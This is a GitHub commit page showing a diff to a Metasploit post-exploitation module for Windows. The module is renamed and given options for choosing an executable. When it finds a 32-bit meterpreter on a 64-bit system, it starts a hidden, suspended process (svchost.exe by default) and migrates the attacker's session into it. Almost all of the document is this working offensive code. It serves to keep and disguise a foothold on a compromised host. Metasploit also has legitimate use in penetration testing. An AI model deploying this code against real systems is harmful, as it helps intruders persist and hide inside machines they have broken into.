Skip to content

Commit 264cfc9

Browse files
author
Koen Riepe
committed
Added OPTIONS to the module
1 parent 45b1f79 commit 264cfc9

File tree

1 file changed

+27
-4
lines changed

1 file changed

+27
-4
lines changed

modules/post/windows/manage/archmigrate.rb

Lines changed: 27 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ class MetasploitModule < Msf::Post
77

88
def initialize(info={})
99
super(update_info(info,
10-
'Name' => 'Architicture Migrate',
10+
'Name' => 'Architecture Migrate',
1111
'Description' => %q{This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a new process with the correct architecture and migrates into that process.},
1212
'License' => MSF_LICENSE,
1313
'Author' => ['Koen Riepe ([email protected])'],
@@ -16,6 +16,12 @@ def initialize(info={})
1616
'Arch' => [ 'x86', 'x64' ],
1717
'SessionTypes' => [ 'meterpreter' ]
1818
))
19+
20+
register_options(
21+
[
22+
OptString.new('EXE', [true, 'The executable to start and migrate into', 'C:\windows\sysnative\svchost.exe']),
23+
OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ])
24+
], self.class)
1925
end
2026

2127
def is_32_bit_on_64_bits()
@@ -36,9 +42,8 @@ def get_windows_loc()
3642

3743
def run
3844
if is_32_bit_on_64_bits()
39-
print_error("The meterpreter is not the same architecture as the OS! Upgrading!")
40-
windir = get_windows_loc()
41-
newproc = windir + ':\windows\sysnative\svchost.exe'
45+
print_status("The meterpreter is not the same architecture as the OS! Upgrading!")
46+
newproc = datastore['EXE']
4247
if exist?(newproc)
4348
print_status("Starting new x64 process #{newproc}")
4449
pid = session.sys.process.execute(newproc,nil,{'Hidden' => true,'Suspended' => true}).pid
@@ -50,6 +55,24 @@ def run
5055
else
5156
print_error("Migration failed!")
5257
end
58+
else
59+
print_error("The selected executable to migrate into does not exist")
60+
if datastore['FALLBACK']
61+
windir = get_windows_loc()
62+
newproc = windir + ':\windows\sysnative\svchost.exe'
63+
if exist?(newproc)
64+
print_status("Starting new x64 process #{newproc}")
65+
pid = session.sys.process.execute(newproc,nil,{'Hidden' => true,'Suspended' => true}).pid
66+
print_good("Got pid #{pid}")
67+
print_status("Migrating..")
68+
session.core.migrate(pid)
69+
if pid == session.sys.process.getpid
70+
print_good("Success!")
71+
else
72+
print_error("Migration failed!")
73+
end
74+
end
75+
end
5376
end
5477
else
5578
print_good("The meterpreter is the same architecture as the OS!")

0 commit comments

Comments
 (0)